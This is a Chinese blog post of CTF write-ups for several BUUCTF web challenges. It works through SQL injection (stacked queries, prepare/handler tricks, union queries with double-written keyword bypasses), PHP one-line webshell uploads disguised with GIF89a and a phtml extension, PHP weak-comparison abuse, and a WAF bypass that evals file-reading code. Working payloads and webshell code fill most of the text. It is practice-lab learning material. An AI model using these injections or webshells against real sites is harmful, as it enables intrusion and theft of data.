文章目录
[强网杯 2019]随便注
[BUUOJ记录] [强网杯 2019]随便注(三种方法) - Ye’sBlog - 博客园 (cnblogs.com)
2019强网杯"随便注"学习 - yanq的个人博客 (saucer-man.com)
还是先判断一下是什么注入吧
通过输入1'
和1'#
,可以得到是单引号注入
然后我是想用联合查找来着,已经判断了知道了有两列
但是可以看到这道题过滤了select|update|delete|drop|insert|where
因为select
被禁用,就是说联合查询,报错注入,布尔和时间盲注都不可以用了,可以想到用堆叠注入
1';show databases;#
1';use supersqli;#
显示表名1';show tables;#
得到列名1';show columns from
1919810931114514;#
可以看到flag,但是过滤掉了select
和where
,所以我们思考一下怎么获得flag捏
方法一 预编译的方式
我们要执行的是
select * from `1919810931114514`;
预编译的语法:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
弹出strstr($inject, "set") && strstr($inject, "prepare")
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
第二种方法 更改表名列名
1';show columns fro words;
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
(可能就是一种猜测吧)
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然后还要用1' or 1=1#
查询一下
第三种方法 handler语句代替select查询
1';
handler `1919810931114514` open as ye;
handler ye read first;
handler ye close;#
然后还要输入1' or 1=1#
得到flag
handler的用法:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
[极客大挑战 2019]LoveSQL
先判断注入方式,分别输入1'
和1'#
知道是单引号注入
猜解有几列1' order by 4#
字段数为3
爆回显位999' union select 1,2,3#
版本和数据库999' union select 1,database(),version()#
表名999' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#
列名999' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#
得到数据999' union select 1,group_concat(username,password),3 from geek.l0ve1ysq1#
[极客大挑战 2019]Knife
哦莫哦莫,看到这个名字,也可以想
到菜刀
一句话木马:
eval($_POST["Syc"]);
,这里进行了一个POST的传参,可以知道Syc
就是我们的连接密码
eval()是将字符串转换成php代码执行,
中国菜刀和中国蚁剑都差不多,那我直接下载蚁剑好了
这道题主要是考察一下工具的使用
蚁剑的下载
右键添加数据
直接在根目录下找到flag
[SUCTF 2019]EasySQL
[BUUCTF-SUCTF 2019]EasySQL1
不是,这道题有点太抽象()
可以试着多输入一些,比如联合查询union select
、时间注入sleep
,报错注入updataxml
,可以发发现报错都是Nonono
,说明这些都被过滤掉了,然后可以试试堆叠注入
1;show databases;#
1;show tables;#
1;show columns from Flag
可以看到Nonono
所以flag应该被过滤掉了
这道题需要我们猜测一下后端的代码,我们知道一般sql语句都有select from XX
我们在输入框中输入除了零以外的数字都可以产生回显,但是输入0或者字母就会没有回显
大佬们通过这里猜测后端代码可能包括||
是一个短路语法,只要前面的为真,则后面的为真
所以构造出来的语句为select $_POST['query'] || flag from Flag
因为payload为:*,1
但是为什么不能写成*1
捏
将其代入进去
select *,1 || flag from Flag 因为前面的1就是正确的
select *,1 from Flag 所以这个语句实际上是这样
再补充一点:
select 1 from table_name 增加临时列,每行的列值是写在select后面的数
select count(1) from table 不管count(a)中的值如何变化,得出的值总是table表中的行数
select sum(1) from table 计算临时列的值
所以select 1 from
的意思是建立一个临时列,这个列中的所有临时值都被设为1
还有一种写法
payloud为:
1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat -- 将"||"视为字符串的连接操作符而非或运算符,所以这道题就是将||设置成设置成了concat()
所以就是select concat(1,flag) from Flag
concat将1和flag列中数字的值拼接起来 from Flag从指定的表明查找数据(数字在concat函数中会被转化为字符串)
[极客大挑战 2019]Upload
上传一句话木马,发现被过滤掉了,是因为我的一句话木马中包括<?
所以要修改一下
<?php
@eval($_POST['cmd']);
?>
修改成
<script language ="php">eval($_POST['cmd']);</script>
在前面添加文件幻术头 GIF89a
发现上传成功了
发现上传成功
然后抓包,改一下后缀成phtml
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
用蚁剑连上一句话木马
在根目录下找到flag文件
[ACTF2020 新生赛]Upload
可以先上传一个php文件
前端JS代码,有checkFile进行检测
抓包,修改后缀为phtml
,发包,发现上传成功
然后蚁剑进行连接
在根目录下找到flag
[极客大挑战 2019]BabySQL
先判断一下是什么注入
?username=1'&password=1
报错
?username=1'#&password=1
用#
将其注释一下,正常,是单引号注入
尝试猜解字段数
可以看到对or
做了过滤
看看能不能双写绕过一下
好像不能绕过
用联合注入看看呢
?username=999' uunionnion sselectelect 1,2,3,4#
,
这里要用双写绕过一下会出现报错
?username=999' uunionnion sselectelect 1,2,3#
,字段数为3,显示位为2,3
然后按着联合注入的步骤开始查询
查询数据库和版本号999' uunionnion sselectelect 1,database(),version()#
查询表名999' uunionnion sselectelect 1,group_concat(table_name),3 ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#
查询列名999' uunionnion sselectelect 1,group_concat(column_name),3 ffromrom infoorrmation_schema.columns wwherehere table_name='geekuser'#
查询数据999' uunionnion sselectelect 1,group_concat(username,passwoorrd),3 ffromrom geek.geekuser#
看看另一个表中的数据呢
999' uunionnion sselectelect 1,group_concat(username,passwoorrd),3 ffromrom geek.b4bsql#
ok,也算是找到了,这道题因为存在将关键词置换为空,全部以双写来绕过
[ACTF2020 新生赛]BackupFile
将题目打开,发现只有一句话
因为题目是backupFile
翻译成中文就是备份文件,所以用御剑扫一下
或者用dirsearch
也是可以滴
真的扫了好久
访问一下index.php.bak
就会下载下来一个文件,简单的代码分析
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
涉及到一个比较,==
是弱比较,所以类型转换后他们的值要相等
当整数和字符串进行比较的时候,会先将字符串转换成整数再进行比较。比如a=123和b=123admin456进行==
比较时。b就只会截取前面整数的部分。所以a==b
同理可得,这道题只要让key=123
即可
[RoarCTF 2019]Easy Calc
[【BUUCTF】 RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。
先查看一下源码吧
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
看到有个 url:"calc.php?num="+encodeURIComponent($("#content").val())
访问一下
calc.php
,显示了waf绕过的过滤规则:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
foreach
历遍数组
/m
正则匹配,表示多行匹配
用? num=phpinfo()
可以看到system
被禁用了
这里解释一下,为什么num前面有个空格、
输入时发现num只能输入数字
假如waf不允许num传递字母,就可以在num前面加个空格,这样waf就找不到num这个变量了,因为现在的变量是“ num”而不是"num",但在php解析的时候,会先将空格去掉,这样我们的代码可以正常执行,还上传了非法字符
再补一个:
scandir()
返回指定目录中的文件和目录的数组
var_dump()
输出变量的相关信息
print_r
输出
file_get_contents
读取文件
可以用scandir("/")
来读取根目录,因为前面的黑名单将/
过滤了,所以需要将其转成ASCLL码值,用python转换一下就行
? num=a;var_dump(scandir(chr(47)))
前面的空格也可以换成加号
?+num=a;var_dump(scandir(chr(47)))
查看"f1agg
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag